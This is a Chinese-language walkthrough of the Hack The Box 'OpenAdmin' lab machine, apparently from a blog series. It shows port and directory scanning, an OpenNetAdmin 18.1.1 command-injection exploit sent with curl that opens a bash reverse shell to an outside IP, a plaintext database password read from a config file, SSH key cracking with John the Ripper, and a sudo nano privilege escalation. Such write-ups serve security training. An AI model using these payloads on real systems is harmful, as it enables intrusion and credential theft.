【Hack The Box】Linux练习-- OpenAdmin
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://10.10.10.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x php,txt,html -o scans/gobuster-root-php_txt_html
/index.html (Status: 200)
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
都没什么意思
唯一有意思的只有music页面有一个跳转(login按钮)
我是18.1.1
searchsploit OpenNetAdmin
用47691
但是我什么也干不了,很奇怪
于是我取出脚本中单独的执行部分进行测试
curl -s -d “xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping” http://10.129.17.212/ona/
而后找到了确实执行了id的命令,那我就把id的部分改成反弹shell的部分
注意不要忘记了url编码
curl -s -d “xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c ‘bash -i >%26 /dev/tcp/10.10.14.29/443 0>%261’&xajaxargs[]=ping” http://10.129.17.212/ona/
因为 OpenNetAdmin 必须要去看数据库
他几乎支持全部数据库
所以查看数据库配置文件是必须的
find / -name "database*.php" 2>/dev/null
/opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
发现了一个密码n1nj4W4rri0R!
python3 -c 'import pty;pty.spawn ("/bin/bash")'
ls发现如下几个
发现
index.php logout.php main.php
我将查看main.php,因为其他的都没啥
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "$output
";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
重点信息如下:
$output = shell_exec('cat /home/joanna/.ssh/id_rsa'
h3>Don't forget your "ninja" password</h3>
php main.php
但是不起作用
而且他不是/var/www/html下的目录,所以我们在web上也访问不到他
现在思考如何访问到他
查看端口,因为有服务就一定会有端口开放
netstat -tulpn | grep LISTEN
curl http://127.0.0.1:52846/main.php
但是密码也不对
ssh2john.py joanna_prk > joanna_prk.hash
john --wordlist=/usr/share/wordlists/rockyou.txt joanna_prk.hash
得到
bloodninjas
sudo -l 发现
(ALL) NOPASSWD: /bin/nano /opt/priv
gtfobins
上发现
提权方法如下
sudo nano
^R^X
reset; sh 1>&0 2>&0
^X是执行命令,^R^X不是输入上去的,而是直接键盘按ctrl + r和x的
然后
输入下面那一行回车即可
但是不方便阅读,我按了很多次回车然后输入bash
就很好看了